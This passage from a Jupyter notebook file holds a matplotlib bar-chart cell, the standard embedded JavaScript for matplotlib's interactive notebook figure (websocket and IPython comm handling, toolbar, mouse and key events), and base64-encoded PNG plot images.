AAAAAAAAAABgb/v/H90/djVON3IAAAAASUVORK5CYII=\">" ], "text/plain": [ "<IPython.core.display.HTML object>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/plain": [ "([<matplotlib.axis.XTick at 0x7f965da29d30>,\n", " <matplotlib.axis.XTick at 0x7f965d95eef0>,\n", " <matplotlib.axis.XTick at 0x7f965dc50470>],\n", " <a list of 3 Text xticklabel objects>)" ] }, "execution_count": 124, "metadata": {}, "output_type": "execute_result" } ], "source": [ "%matplotlib notebook\n", "import matplotlib.pyplot as plt\n", "\n", "x_pos = np.arange(len(xi))\n", "plt.figure(1)\n", "plt.bar(x_pos, fi, align='center')\n", "plt.ylim(0, max(fi) + 0.5)\n", "plt.xticks(np.arange(3), xi)" ] }, { "cell_type": "code", "execution_count": 44, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[0 1 2 3 4]\n" ] }, { "data": { "application/javascript": [ "/* Put everything inside the global mpl namespace */\n", "window.mpl = {};\n", "\n", "mpl.get_websocket_type = function() {\n", " if (typeof(WebSocket) !== 'undefined') {\n", " return WebSocket;\n", " } else if (typeof(MozWebSocket) !== 'undefined') {\n", " return MozWebSocket;\n", " } else {\n", " alert('Your browser does not have WebSocket support.' +\n", " 'Please try Chrome, Safari or Firefox ≥ 6. ' +\n", " 'Firefox 4 and 5 are also supported but you ' +\n", " 'have to enable WebSockets in about:config.');\n", " };\n", "}\n", "\n", "mpl.figure = function(figure_id, websocket, ondownload, parent_element) {\n", " this.id = figure_id;\n", "\n", " this.ws = websocket;\n", "\n", " this.supports_binary = (this.ws.binaryType != undefined);\n", "\n", " if (!this.supports_binary) {\n", " var warnings = document.getElementById(\"mpl-warnings\");\n", " if (warnings) {\n", " warnings.style.display = 'block';\n", " warnings.textContent = (\n", " \"This browser does not support binary websocket messages. \" +\n", " \"Performance may be slow.\");\n", " }\n", " }\n", "\n", " this.imageObj = new Image();\n", "\n", " this.context = undefined;\n", " this.message = undefined;\n", " this.canvas = undefined;\n", " this.rubberband_canvas = undefined;\n", " this.rubberband_context = undefined;\n", " this.format_dropdown = undefined;\n", "\n", " this.image_mode = 'full';\n", "\n", " this.root = $('<div/>');\n", " this._root_extra_style(this.root)\n", " this.root.attr('style', 'display: inline-block');\n", "\n", " $(parent_element).append(this.root);\n", "\n", " this._init_header(this);\n", " this._init_canvas(this);\n", " this._init_toolbar(this);\n", "\n", " var fig = this;\n", "\n", " this.waiting = false;\n", "\n", " this.ws.onopen = function () {\n", " fig.send_message(\"supports_binary\", {value: fig.supports_binary});\n", " fig.send_message(\"send_image_mode\", {});\n", " fig.send_message(\"refresh\", {});\n", " }\n", "\n", " this.imageObj.onload = function() {\n", " if (fig.image_mode == 'full') {\n", " // Full images could contain transparency (where diff images\n", " // almost always do), so we need to clear the canvas so that\n", " // there is no ghosting.\n", " fig.context.clearRect(0, 0, fig.canvas.width, fig.canvas.height);\n", " }\n", " fig.context.drawImage(fig.imageObj, 0, 0);\n", " };\n", "\n", " this.imageObj.onunload = function() {\n", " this.ws.close();\n", " }\n", "\n", " this.ws.onmessage = this._make_on_message_function(this);\n", "\n", " this.ondownload = ondownload;\n", "}\n", "\n", "mpl.figure.prototype._init_header = function() {\n", " var titlebar = $(\n", " '<div class=\"ui-dialog-titlebar ui-widget-header ui-corner-all ' +\n", " 'ui-helper-clearfix\"/>');\n", " var titletext = $(\n", " '<div class=\"ui-dialog-title\" style=\"width: 100%; ' +\n", " 'text-align: center; padding: 3px;\"/>');\n", " titlebar.append(titletext)\n", " this.root.append(titlebar);\n", " this.header = titletext[0];\n", "}\n", "\n", "\n", "\n", "mpl.figure.prototype._canvas_extra_style = function(canvas_div) {\n", "\n", "}\n", "\n", "\n", "mpl.figure.prototype._root_extra_style = function(canvas_div) {\n", "\n", "}\n", "\n", "mpl.figure.prototype._init_canvas = function() {\n", " var fig = this;\n", "\n", " var canvas_div = $('<div/>');\n", "\n", " canvas_div.attr('style', 'position: relative; clear: both; outline: 0');\n", "\n", " function canvas_keyboard_event(event) {\n", " return fig.key_event(event, event['data']);\n", " }\n", "\n", " canvas_div.keydown('key_press', canvas_keyboard_event);\n", " canvas_div.keyup('key_release', canvas_keyboard_event);\n", " this.canvas_div = canvas_div\n", " this._canvas_extra_style(canvas_div)\n", " this.root.append(canvas_div);\n", "\n", " var canvas = $('<canvas/>');\n", " canvas.addClass('mpl-canvas');\n", " canvas.attr('style', \"left: 0; top: 0; z-index: 0; outline: 0\")\n", "\n", " this.canvas = canvas[0];\n", " this.context = canvas[0].getContext(\"2d\");\n", "\n", " var rubberband = $('<canvas/>');\n", " rubberband.attr('style', \"position: absolute; left: 0; top: 0; z-index: 1;\")\n", "\n", " var pass_mouse_events = true;\n", "\n", " canvas_div.resizable({\n", " start: function(event, ui) {\n", " pass_mouse_events = false;\n", " },\n", " resize: function(event, ui) {\n", " fig.request_resize(ui.size.width, ui.size.height);\n", " },\n", " stop: function(event, ui) {\n", " pass_mouse_events = true;\n", " fig.request_resize(ui.size.width, ui.size.height);\n", " },\n", " });\n", "\n", " function mouse_event_fn(event) {\n", " if (pass_mouse_events)\n", " return fig.mouse_event(event, event['data']);\n", " }\n", "\n", " rubberband.mousedown('button_press', mouse_event_fn);\n", " rubberband.mouseup('button_release', mouse_event_fn);\n", " // Throttle sequential mouse events to 1 every 20ms.\n", " rubberband.mousemove('motion_notify', mouse_event_fn);\n", "\n", " rubberband.mouseenter('figure_enter', mouse_event_fn);\n", " rubberband.mouseleave('figure_leave', mouse_event_fn);\n", "\n", " canvas_div.on(\"wheel\", function (event) {\n", " event = event.originalEvent;\n", " event['data'] = 'scroll'\n", " if (event.deltaY < 0) {\n", " event.step = 1;\n", " } else {\n", " event.step = -1;\n", " }\n", " mouse_event_fn(event);\n", " });\n", "\n", " canvas_div.append(canvas);\n", " canvas_div.append(rubberband);\n", "\n", " this.rubberband = rubberband;\n", " this.rubberband_canvas = rubberband[0];\n", " this.rubberband_context = rubberband[0].getContext(\"2d\");\n", " this.rubberband_context.strokeStyle = \"#000000\";\n", "\n", " this._resize_canvas = function(width, height) {\n", " // Keep the size of the canvas, canvas container, and rubber band\n", " // canvas in synch.\n", " canvas_div.css('width', width)\n", " canvas_div.css('height', height)\n", "\n", " canvas.attr('width', width);\n", " canvas.attr('height', height);\n", "\n", " rubberband.attr('width', width);\n", " rubberband.attr('height', height);\n", " }\n", "\n", " // Set the figure to an initial 600x600px, this will subsequently be updated\n", " // upon first draw.\n", " this._resize_canvas(600, 600);\n", "\n", " // Disable right mouse context menu.\n", " $(this.rubberband_canvas).bind(\"contextmenu\",function(e){\n", " return false;\n", " });\n", "\n", " function set_focus () {\n", " canvas.focus();\n", " canvas_div.focus();\n", " }\n", "\n", " window.setTimeout(set_focus, 100);\n", "}\n", "\n", "mpl.figure.prototype._init_toolbar = function() {\n", " var fig = this;\n", "\n", " var nav_element = $('<div/>')\n", " nav_element.attr('style', 'width: 100%');\n", " this.root.append(nav_element);\n", "\n", " // Define a callback function for later on.\n", " function toolbar_event(event) {\n", " return fig.toolbar_button_onclick(event['data']);\n", " }\n", " function toolbar_mouse_event(event) {\n", " return fig.toolbar_button_onmouseover(event['data']);\n", " }\n", "\n", " for(var toolbar_ind in mpl.toolbar_items) {\n", " var name = mpl.toolbar_items[toolbar_ind][0];\n", " var tooltip = mpl.toolbar_items[toolbar_ind][1];\n", " var image = mpl.toolbar_items[toolbar_ind][2];\n", " var method_name = mpl.toolbar_items[toolbar_ind][3];\n", "\n", " if (!name) {\n", " // put a spacer in here.\n", " continue;\n", " }\n", " var button = $('<button/>');\n", " button.addClass('ui-button ui-widget ui-state-default ui-corner-all ' +\n", " 'ui-button-icon-only');\n", " button.attr('role', 'button');\n", " button.attr('aria-disabled', 'false');\n", " button.click(method_name, toolbar_event);\n", " button.mouseover(tooltip, toolbar_mouse_event);\n", "\n", " var icon_img = $('<span/>');\n", " icon_img.addClass('ui-button-icon-primary ui-icon');\n", " icon_img.addClass(image);\n", " icon_img.addClass('ui-corner-all');\n", "\n", " var tooltip_span = $('<span/>');\n", " tooltip_span.addClass('ui-button-text');\n", " tooltip_span.html(tooltip);\n", "\n", " button.append(icon_img);\n", " button.append(tooltip_span);\n", "\n", " nav_element.append(button);\n", " }\n", "\n", " var fmt_picker_span = $('<span/>');\n", "\n", " var fmt_picker = $('<select/>');\n", " fmt_picker.addClass('mpl-toolbar-option ui-widget ui-widget-content');\n", " fmt_picker_span.append(fmt_picker);\n", " nav_element.append(fmt_picker_span);\n", " this.format_dropdown = fmt_picker[0];\n", "\n", " for (var ind in mpl.extensions) {\n", " var fmt = mpl.extensions[ind];\n", " var option = $(\n", " '<option/>', {selected: fmt === mpl.default_extension}).html(fmt);\n", " fmt_picker.append(option)\n", " }\n", "\n", " // Add hover states to the ui-buttons\n", " $( \".ui-button\" ).hover(\n", " function() { $(this).addClass(\"ui-state-hover\");},\n", " function() { $(this).removeClass(\"ui-state-hover\");}\n", " );\n", "\n", " var status_bar = $('<span class=\"mpl-message\"/>');\n", " nav_element.append(status_bar);\n", " this.message = status_bar[0];\n", "}\n", "\n", "mpl.figure.prototype.request_resize = function(x_pixels, y_pixels) {\n", " // Request matplotlib to resize the figure. Matplotlib will then trigger a resize in the client,\n", " // which will in turn request a refresh of the image.\n", " this.send_message('resize', {'width': x_pixels, 'height': y_pixels});\n", "}\n", "\n", "mpl.figure.prototype.send_message = function(type, properties) {\n", " properties['type'] = type;\n", " properties['figure_id'] = this.id;\n", " this.ws.send(JSON.stringify(properties));\n", "}\n", "\n", "mpl.figure.prototype.send_draw_message = function() {\n", " if (!this.waiting) {\n", " this.waiting = true;\n", " this.ws.send(JSON.stringify({type: \"draw\", figure_id: this.id}));\n", " }\n", "}\n", "\n", "\n", "mpl.figure.prototype.handle_save = function(fig, msg) {\n", " var format_dropdown = fig.format_dropdown;\n", " var format = format_dropdown.options[format_dropdown.selectedIndex].value;\n", " fig.ondownload(fig, format);\n", "}\n", "\n", "\n", "mpl.figure.prototype.handle_resize = function(fig, msg) {\n", " var size = msg['size'];\n", " if (size[0] != fig.canvas.width || size[1] != fig.canvas.height) {\n", " fig._resize_canvas(size[0], size[1]);\n", " fig.send_message(\"refresh\", {});\n", " };\n", "}\n", "\n", "mpl.figure.prototype.handle_rubberband = function(fig, msg) {\n", " var x0 = msg['x0'];\n", " var y0 = fig.canvas.height - msg['y0'];\n", " var x1 = msg['x1'];\n", " var y1 = fig.canvas.height - msg['y1'];\n", " x0 = Math.floor(x0) + 0.5;\n", " y0 = Math.floor(y0) + 0.5;\n", " x1 = Math.floor(x1) + 0.5;\n", " y1 = Math.floor(y1) + 0.5;\n", " var min_x = Math.min(x0, x1);\n", " var min_y = Math.min(y0, y1);\n", " var width = Math.abs(x1 - x0);\n", " var height = Math.abs(y1 - y0);\n", "\n", " fig.rubberband_context.clearRect(\n", " 0, 0, fig.canvas.width, fig.canvas.height);\n", "\n", " fig.rubberband_context.strokeRect(min_x, min_y, width, height);\n", "}\n", "\n", "mpl.figure.prototype.handle_figure_label = function(fig, msg) {\n", " // Updates the figure title.\n", " fig.header.textContent = msg['label'];\n", "}\n", "\n", "mpl.figure.prototype.handle_cursor = function(fig, msg) {\n", " var cursor = msg['cursor'];\n", " switch(cursor)\n", " {\n", " case 0:\n", " cursor = 'pointer';\n", " break;\n", " case 1:\n", " cursor = 'default';\n", " break;\n", " case 2:\n", " cursor = 'crosshair';\n", " break;\n", " case 3:\n", " cursor = 'move';\n", " break;\n", " }\n", " fig.rubberband_canvas.style.cursor = cursor;\n", "}\n", "\n", "mpl.figure.prototype.handle_message = function(fig, msg) {\n", " fig.message.textContent = msg['message'];\n", "}\n", "\n", "mpl.figure.prototype.handle_draw = function(fig, msg) {\n", " // Request the server to send over a new figure.\n", " fig.send_draw_message();\n", "}\n", "\n", "mpl.figure.prototype.handle_image_mode = function(fig, msg) {\n", " fig.image_mode = msg['mode'];\n", "}\n", "\n", "mpl.figure.prototype.updated_canvas_event = function() {\n", " // Called whenever the canvas gets updated.\n", " this.send_message(\"ack\", {});\n", "}\n", "\n", "// A function to construct a web socket function for onmessage handling.\n", "// Called in the figure constructor.\n", "mpl.figure.prototype._make_on_message_function = function(fig) {\n", " return function socket_on_message(evt) {\n", " if (evt.data instanceof Blob) {\n", " /* FIXME: We get \"Resource interpreted as Image but\n", " * transferred with MIME type text/plain:\" errors on\n", " * Chrome. But how to set the MIME type? It doesn't seem\n", " * to be part of the websocket stream */\n", " evt.data.type = \"image/png\";\n", "\n", " /* Free the memory for the previous frames */\n", " if (fig.imageObj.src) {\n", " (window.URL || window.webkitURL).revokeObjectURL(\n", " fig.imageObj.src);\n", " }\n", "\n", " fig.imageObj.src = (window.URL || window.webkitURL).createObjectURL(\n", " evt.data);\n", " fig.updated_canvas_event();\n", " fig.waiting = false;\n", " return;\n", " }\n", " else if (typeof evt.data === 'string' && evt.data.slice(0, 21) == \"data:image/png;base64\") {\n", " fig.imageObj.src = evt.data;\n", " fig.updated_canvas_event();\n", " fig.waiting = false;\n", " return;\n", " }\n", "\n", " var msg = JSON.parse(evt.data);\n", " var msg_type = msg['type'];\n", "\n", " // Call the \"handle_{type}\" callback, which takes\n", " // the figure and JSON message as its only arguments.\n", " try {\n", " var callback = fig[\"handle_\" + msg_type];\n", " } catch (e) {\n", " console.log(\"No handler for the '\" + msg_type + \"' message type: \", msg);\n", " return;\n", " }\n", "\n", " if (callback) {\n", " try {\n", " // console.log(\"Handling '\" + msg_type + \"' message: \", msg);\n", " callback(fig, msg);\n", " } catch (e) {\n", " console.log(\"Exception inside the 'handler_\" + msg_type + \"' callback:\", e, e.stack, msg);\n", " }\n", " }\n", " };\n", "}\n", "\n", "// from http://stackoverflow.com/questions/1114465/getting-mouse-location-in-canvas\n", "mpl.findpos = function(e) {\n", " //this section is from http://www.quirksmode.org/js/events_properties.html\n", " var targ;\n", " if (!e)\n", " e = window.event;\n", " if (e.target)\n", " targ = e.target;\n", " else if (e.srcElement)\n", " targ = e.srcElement;\n", " if (targ.nodeType == 3) // defeat Safari bug\n", " targ = targ.parentNode;\n", "\n", " // jQuery normalizes the pageX and pageY\n", " // pageX,Y are the mouse positions relative to the document\n", " // offset() returns the position of the element relative to the document\n", " var x = e.pageX - $(targ).offset().left;\n", " var y = e.pageY - $(targ).offset().top;\n", "\n", " return {\"x\": x, \"y\": y};\n", "};\n", "\n", "/*\n", " * return a copy of an object with only non-object keys\n", " * we need this to avoid circular references\n", " * http://stackoverflow.com/a/24161582/3208463\n", " */\n", "function simpleKeys (original) {\n", " return Object.keys(original).reduce(function (obj, key) {\n", " if (typeof original[key] !== 'object')\n", " obj[key] = original[key]\n", " return obj;\n", " }, {});\n", "}\n", "\n", "mpl.figure.prototype.mouse_event = function(event, name) {\n", " var canvas_pos = mpl.findpos(event)\n", "\n", " if (name === 'button_press')\n", " {\n", " this.canvas.focus();\n", " this.canvas_div.focus();\n", " }\n", "\n", " var x = canvas_pos.x;\n", " var y = canvas_pos.y;\n", "\n", " this.send_message(name, {x: x, y: y, button: event.button,\n", " step: event.step,\n", " guiEvent: simpleKeys(event)});\n", "\n", " /* This prevents the web browser from automatically changing to\n", " * the text insertion cursor when the button is pressed. We want\n", " * to control all of the cursor setting manually through the\n", " * 'cursor' event from matplotlib */\n", " event.preventDefault();\n", " return false;\n", "}\n", "\n", "mpl.figure.prototype._key_event_extra = function(event, name) {\n", " // Handle any extra behaviour associated with a key event\n", "}\n", "\n", "mpl.figure.prototype.key_event = function(event, name) {\n", "\n", " // Prevent repeat events\n", " if (name == 'key_press')\n", " {\n", " if (event.which === this._key)\n", " return;\n", " else\n", " this._key = event.which;\n", " }\n", " if (name == 'key_release')\n", " this._key = null;\n", "\n", " var value = '';\n", " if (event.ctrlKey && event.which != 17)\n", " value += \"ctrl+\";\n", " if (event.altKey && event.which != 18)\n", " value += \"alt+\";\n", " if (event.shiftKey && event.which != 16)\n", " value += \"shift+\";\n", "\n", " value += 'k';\n", " value += event.which.toString();\n", "\n", " this._key_event_extra(event, name);\n", "\n", " this.send_message(name, {key: value,\n", " guiEvent: simpleKeys(event)});\n", " return false;\n", "}\n", "\n", "mpl.figure.prototype.toolbar_button_onclick = function(name) {\n", " if (name == 'download') {\n", " this.handle_save(this, null);\n", " } else {\n", " this.send_message(\"toolbar_button\", {name: name});\n", " }\n", "};\n", "\n", "mpl.figure.prototype.toolbar_button_onmouseover = function(tooltip) {\n", " this.message.textContent = tooltip;\n", "};\n", "mpl.toolbar_items = [[\"Home\", \"Reset original view\", \"fa fa-home icon-home\", \"home\"], [\"Back\", \"Back to previous view\", \"fa fa-arrow-left icon-arrow-left\", \"back\"], [\"Forward\", \"Forward to next view\", \"fa fa-arrow-right icon-arrow-right\", \"forward\"], [\"\", \"\", \"\", \"\"], [\"Pan\", \"Pan axes with left mouse, zoom with right\", \"fa fa-arrows icon-move\", \"pan\"], [\"Zoom\", \"Zoom to rectangle\", \"fa fa-square-o icon-check-empty\", \"zoom\"], [\"\", \"\", \"\", \"\"], [\"Download\", \"Download plot\", \"fa fa-floppy-o icon-save\", \"download\"]];\n", "\n", "mpl.extensions = [\"eps\", \"pdf\", \"png\", \"ps\", \"raw\", \"svg\"];\n", "\n", "mpl.default_extension = \"png\";var comm_websocket_adapter = function(comm) {\n", " // Create a \"websocket\"-like object which calls the given IPython comm\n", " // object with the appropriate methods. Currently this is a non binary\n", " // socket, so there is still some room for performance tuning.\n", " var ws = {};\n", "\n", " ws.close = function() {\n", " comm.close()\n", " };\n", " ws.send = function(m) {\n", " //console.log('sending', m);\n", " comm.send(m);\n", " };\n", " // Register the callback with on_msg.\n", " comm.on_msg(function(msg) {\n", " //console.log('receiving', msg['content']['data'], msg);\n", " // Pass the mpl event to the overriden (by mpl) onmessage function.\n", " ws.onmessage(msg['content']['data'])\n", " });\n", " return ws;\n", "}\n", "\n", "mpl.mpl_figure_comm = function(comm, msg) {\n", " // This is the function which gets called when the mpl process\n", " // starts-up an IPython Comm through the \"matplotlib\" channel.\n", "\n", " var id = msg.content.data.id;\n", " // Get hold of the div created by the display call when the Comm\n", " // socket was opened in Python.\n", " var element = $(\"#\" + id);\n", " var ws_proxy = comm_websocket_adapter(comm)\n", "\n", " function ondownload(figure, format) {\n", " window.open(figure.imageObj.src);\n", " }\n", "\n", " var fig = new mpl.figure(id, ws_proxy,\n", " ondownload,\n", " element.get(0));\n", "\n", " // Call onopen now - mpl needs it, as it is assuming we've passed it a real\n", " // web socket which is closed, not our websocket->open comm proxy.\n", " ws_proxy.onopen();\n", "\n", " fig.parent_element = element.get(0);\n", " fig.cell_info = mpl.find_output_cell(\"<div id='\" + id + \"'></div>\");\n", " if (!fig.cell_info) {\n", " console.error(\"Failed to find cell for figure\", id, fig);\n", " return;\n", " }\n", "\n", " var output_index = fig.cell_info[2]\n", " var cell = fig.cell_info[0];\n", "\n", "};\n", "\n", "mpl.figure.prototype.handle_close = function(fig, msg) {\n", " fig.root.unbind('remove')\n", "\n", " // Update the output cell to use the data from the current canvas.\n", " fig.push_to_output();\n", " var dataURL = fig.canvas.toDataURL();\n", " // Re-enable the keyboard manager in IPython - without this line, in FF,\n", " // the notebook keyboard shortcuts fail.\n", " IPython.keyboard_manager.enable()\n", " $(fig.parent_element).html('<img src=\"' + dataURL + '\">');\n", " fig.close_ws(fig, msg);\n", "}\n", "\n", "mpl.figure.prototype.close_ws = function(fig, msg){\n", " fig.send_message('closing', msg);\n", " // fig.ws.close()\n", "}\n", "\n", "mpl.figure.prototype.push_to_output = function(remove_interactive) {\n", " // Turn the data on the canvas into data in the output cell.\n", " var dataURL = this.canvas.toDataURL();\n", " this.cell_info[1]['text/html'] = '<img src=\"' + dataURL + '\">';\n", "}\n", "\n", "mpl.figure.prototype.updated_canvas_event = function() {\n", " // Tell IPython that the notebook contents must change.\n", " IPython.notebook.set_dirty(true);\n", " this.send_message(\"ack\", {});\n", " var fig = this;\n", " // Wait a second, then push the new image to the DOM so\n", " // that it is saved nicely (might be nice to debounce this).\n", " setTimeout(function () { fig.push_to_output() }, 1000);\n", "}\n", "\n", "mpl.figure.prototype._init_toolbar = function() {\n", " var fig = this;\n", "\n", " var nav_element = $('<div/>')\n", " nav_element.attr('style', 'width: 100%');\n", " this.root.append(nav_element);\n", "\n", " // Define a callback function for later on.\n", " function toolbar_event(event) {\n", " return fig.toolbar_button_onclick(event['data']);\n", " }\n", " function toolbar_mouse_event(event) {\n", " return fig.toolbar_button_onmouseover(event['data']);\n", " }\n", "\n", " for(var toolbar_ind in mpl.toolbar_items){\n", " var name = mpl.toolbar_items[toolbar_ind][0];\n", " var tooltip = mpl.toolbar_items[toolbar_ind][1];\n", " var image = mpl.toolbar_items[toolbar_ind][2];\n", " var method_name = mpl.toolbar_items[toolbar_ind][3];\n", "\n", " if (!name) { continue; };\n", "\n", " var button = $('<button class=\"btn btn-default\" href=\"#\" title=\"' + name + '\"><i class=\"fa ' + image + ' fa-lg\"></i></button>');\n", " button.click(method_name, toolbar_event);\n", " button.mouseover(tooltip, toolbar_mouse_event);\n", " nav_element.append(button);\n", " }\n", "\n", " // Add the status bar.\n", " var status_bar = $('<span class=\"mpl-message\" style=\"text-align:right; float: right;\"/>');\n", " nav_element.append(status_bar);\n", " this.message = status_bar[0];\n", "\n", " // Add the close button to the window.\n", " var buttongrp = $('<div class=\"btn-group inline pull-right\"></div>');\n", " var button = $('<button class=\"btn btn-mini btn-primary\" href=\"#\" title=\"Stop Interaction\"><i class=\"fa fa-power-off icon-remove icon-large\"></i></button>');\n", " button.click(function (evt) { fig.handle_close(fig, {}); } );\n", " button.mouseover('Stop Interaction', toolbar_mouse_event);\n", " buttongrp.append(button);\n", " var titlebar = this.root.find($('.ui-dialog-titlebar'));\n", " titlebar.prepend(buttongrp);\n", "}\n", "\n", "mpl.figure.prototype._root_extra_style = function(el){\n", " var fig = this\n", " el.on(\"remove\", function(){\n", "\tfig.close_ws(fig, {});\n", " });\n", "}\n", "\n", "mpl.figure.prototype._canvas_extra_style = function(el){\n", " // this is important to make the div 'focusable\n", " el.attr('tabindex', 0)\n", " // reach out to IPython and tell the keyboard manager to turn it's self\n", " // off when our div gets focus\n", "\n", " // location in version 3\n", " if (IPython.notebook.keyboard_manager) {\n", " IPython.notebook.keyboard_manager.register_events(el);\n", " }\n", " else {\n", " // location in version 2\n", " IPython.keyboard_manager.register_events(el);\n", " }\n", "\n", "}\n", "\n", "mpl.figure.prototype._key_event_extra = function(event, name) {\n", " var manager = IPython.notebook.keyboard_manager;\n", " if (!manager)\n", " manager = IPython.keyboard_manager;\n", "\n", " // Check for shift+enter\n", " if (event.shiftKey && event.which == 13) {\n", " this.canvas_div.blur();\n", " event.shiftKey = false;\n", " // Send a \"J\" for go to next cell\n", " event.which = 74;\n", " event.keyCode = 74;\n", " manager.command_mode();\n", " manager.handle_keydown(event);\n", " }\n", "}\n", "\n", "mpl.figure.prototype.handle_save = function(fig, msg) {\n", " fig.ondownload(fig, null);\n", "}\n", "\n", "\n", "mpl.find_output_cell = function(html_output) {\n", " // Return the cell and output element which can be found *uniquely* in the notebook.\n", " // Note - this is a bit hacky, but it is done because the \"notebook_saving.Notebook\"\n", " // IPython event is triggered only after the cells have been serialised, which for\n", " // our purposes (turning an active figure into a static one), is too late.\n", " var cells = IPython.notebook.get_cells();\n", " var ncells = cells.length;\n", " for (var i=0; i<ncells; i++) {\n", " var cell = cells[i];\n", " if (cell.cell_type === 'code'){\n", " for (var j=0; j<cell.output_area.outputs.length; j++) {\n", " var data = cell.output_area.outputs[j];\n", " if (data.data) {\n", " // IPython >= 3 moved mimebundle to data attribute of output\n", " data = data.data;\n", " }\n", " if (data['text/html'] == html_output) {\n", " return [cell, data, j];\n", " }\n", " }\n", " }\n", " }\n", "}\n", "\n", "// Register the function which deals with the matplotlib target/channel.\n", "// The kernel may be null if the page has been refreshed.\n", "if (IPython.notebook.kernel != null) {\n", " IPython.notebook.kernel.comm_manager.register_target('matplotlib', mpl.mpl_figure_comm);\n", "}\n" ], "text/plain": [ "<IPython.core.display.Javascript object>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "<img src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAoAAAAHgCAYAAAA10dzkAAAgAElEQVR4nO3db4ylV2Hf8d+uFRfHwYltbMgaecEpSRQnRqRLRITktY1KpETKH+UNblSTBfJqJKpLkEgcVQZeoFQCXjWVkCoDspJWRfkDipSJRLTQvkhIhUiKHCtRFKIspoBNmjGsRsLsTl88s4+v9s6d/XOOmXPO/XykIzwzd6bTnx/v883M3NkEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAx/VGSi0keOuQxn9l/zKVzIck7X/TPDACA6s4k+ZNMQXdYAJ5N8sEkdyS5c/+85EX/7AAAqOpkkn9MciJX/grg2STv/y58TgAAvEiOZYq6R/ZfvpoA/GqSZ5J8Icm7khx/MT9BAADq+vUkn1p6+UoB+LYkDyS5N8nbk3wjyfterE8OAIC6fjTJ00levvS6KwXg5c4k2VnztmNJ7kpyi+M4juM4XZ27Mt3HGdBbk3wnyfNL5+L+/z5xlR/jvkxPHLn9gLfdlWTPcRzHcZwuz11hSLck+bHLzsVMX9U7cZUf45Ekzx3y8ffOnTu3t7Oz4xSera2tI/8cRjh2tGWLx5Z2bOmcO3fuUgDeUlQZdGX5W8AnkjyV5NT+y/ckeTTJ65K8KslbknwtyQfWfKxbkuzt7OzsUW6xWBz1pzAEO9Zjy3psWYcd69jZ2RGAG2j59wCe3H/5/v2XX5nks5me+HE+yZNJ3p3khjUfSwBW5A+2OuxYjy3rsWUddqxDAFJKAFa0vb191J/CEOxYjy3rsWUddqxDAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAFJKAAJAZwQgpQQgAHRGAG6eP0pyMclDhzzm5iQfTbKT5JkkH05yfM1jBSAAdEYAbpYzSf4kyYUcHoAfT/JkklNJHkjydJL3rnmsAASAzgjAzXEyyT8mOZHDvwJ4a5LnL3v7mSRfT3LsgMcLQADojADcDMeSnE3yyP7LhwXgmzIF4A1Lr7s701cNX3PA4wUgAHRGAG6GX0/yqaWXDwvAhzP93N+ym/bf540HPF4AAkBnBOD4fjTTz/C9fOl1ApAXze7u7t7Ozs7Gn93d3aP+VwGwlgAc31uTfCfTt3UvnYv7//vEAY9f9y3giznkW8BbW1t7i8Vib7FY7G1vbx/1dc0R2d3d3bvttldc+kNlo89tt71CBAJN2d7enu/VW1tbAnBwtyT5scvOxUxP7DhxwONvTfLteBII1+GF/4vy3F6ys8Hn3J7/LoCW+QrgZlr+FvCJJE9l+pUvl3wsyReTvD7Jg0m+nOSxNR9LADJ74Q+Unb1kb4PPjgAEmiYAN9Py7wE8uf/y/UtvX/5F0M8m+VD8ImiuggAUgEAfBCClBCAzASgAgT4IQEoJQGYCUAACfRCAlBKAzASgAAT6IAApJQCZCUABCPRBAFJKADITgAIQ6IMApJQAZCYABSDQBwFIKQHITAAKQKAPApBSApCZABSAQB8EIKUEIDMBKACBPghASglAZgJQAAJ9EICUEoDMBKAABPogACklAJkJQAEI9EEAUkoAMhOAAhDogwCklABkJgAFINAHAUgpAchMAApAoA8CkFICkJkAFIBAHwQgpQQgMwEoAIE+CEBKCUBmAlAAAn0QgJQSgMwEoAAE+iAAKSUAmQlAAQj0QQBSSgAyE4ACEOiDAKSUAGQmAAUg0AcBSCkByEwACkCgDwKQUgKQmQAUgEAfBCClBCAzASgAgT4IQEoJQGYCUAACfRCAlBKAzASgAAT6IAApJQCZCUABCPRBAFJKADITgAIQ6IMApJQAZCYABSDQBwFIKQHITAAKQKAPApBSApCZABSAQB8E4Pjek+SpJOeTPJvkk0lec8jjP5Pk4tK5kOSdhzxeADITgAIQ6IMAHN8vJ3koyckkP5HkD5L8/SGPP5vkg0nuSHLn/nnJIY8XgMwEoAAE+iAAN8+PZ/qq3p1r3n42yfuv4eMJQGYCUAACfRCAm+WmJB9K8leHPOZskq8meSbJF5K8K8nxQx4vAJkJQAEI9EEAboafS/LNTF/5+7tM3w5e521JHkhyb5K3J/lGkvcd8ngByEwACkCgDwJwM9yU5J4kP53k95M8meTGq3zfM0l2Dnm7AGQmAAUg0AcBuHm+J8m3kvz8VT7+vkxfObx9zdtvSbK3tbW1t1gs9haLxd729vZRX9ccEQEoAIF2bW9vz/fqra0tAbhhbsz0K2F+5iof/0iS5w55u68AMhOAAhDog68Aju+3k7whyd1JfirTr4H5UpLvS3Ii0+8IPLX/2HuSPJrkdUleleQtSb6W5AOHfHwByEwACkCgDwJwfL+X5J+S7O7/7+8m+aH9t53M9O3d+/dffmWSz2Z64sf5TD8r+O4kNxzy8QUgMwEoAIE+CEBKCUBmAlAAAn0QgJQSgMwEoAAE+iAAKSUAmQlAAQj0QQBSSgAyE4ACEOiDAKSUAGQmAAUg0AcBSCkByEwACkCgDwKQUgKQmQAUgEAfBCClBCAzASgAgT